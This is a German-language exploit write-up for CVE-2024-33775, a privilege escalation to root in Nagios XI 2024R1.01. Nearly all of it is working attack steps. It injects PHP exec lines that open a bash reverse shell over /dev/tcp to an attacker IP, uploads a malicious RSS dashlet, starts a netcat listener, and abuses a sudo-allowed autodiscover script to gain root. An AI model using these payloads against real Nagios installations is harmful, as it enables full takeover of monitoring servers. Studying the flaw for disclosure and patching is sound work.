CVE-2024-33775

CVE entdeckt von: K. Wahab (Neo`X)

Details zur Sicherheitslücke:

• Produkt: Nagios XI Version 2024R1.01
• Sicherheitslücke: Privilegieneskalation von Benutzern "NAGIOS" oder "APACHE"
• Ergebnis: Vollständiger Root-Zugriff auf das Zielsystem
• CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-33775

Exploit:

In diesem Beispiel wird das RSS-Dashlet verwendet.

1. Erstellen einer neuen Instanz von Nagios XI:

• Sie können die Nagios XI Version 2024R1.01 OVA-Datei herunterladen von: https://assets.nagios.com/downloads/nagiosxi/2024/ovf/nagiosxi-2024R1.0.1-64.ova

2. Privilegieneskalation:

Exploit als NAGIOS:

• Fügen Sie in der Datei dashlet .inc.php im Verzeichnis "/usr/local/nagiosxi/html/includes/dashlets/" den folgenden Inhalt ein:

exec('/bin/bash -i >& /dev/tcp/<Attacker IP>/4441 0>&1);

• Starten Sie einen Netcat-Listening-Server auf dem Angreifer-Rechner:

nc -nlvp 4441

• Führen Sie den folgenden Befehl aus, um Privilegien zu eskalieren und eine Verbindung als root zu erhalten:

sudo /usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php --addresses=127.0.0.1/1

Exploit als APACHE:

• Gehen Sie auf die Verwaltungsseite für "Dashlets" und laden Sie ein Dashlet herunter:

  http://TARGET_IP/nagiosxi/admin/dashlets.php?download=rss_dashlet
  

• Ändern Sie die *.inc.php:

  exec("sleep 30 && /bin/bash -c '/bin/bash -i >& /dev/tcp/<Attacker IP>/4441 0>&1'");
  

• Starten Sie einen Netcat-Listening-Server auf dem Angreifer-Rechner:

nc -nlvp 4441

• Laden Sie das schädliche Dashlet auf der Verwaltungsseite für Dashlets hoch und warten Sie auf eine Verbindung als APACHE-Benutzer.
• Führen Sie den folgenden Befehl aus, um Privilegien zu eskalieren und eine Verbindung als root zu erhalten:

sudo /usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php --addresses=127.0.0.1/1

(Hinweis: Nach dem Ausführen des Befehls erhalten Sie eine Verbindung als APACHE, verwenden Sie STRG+C, um den Listener zu beenden und mehrmals neu zu starten)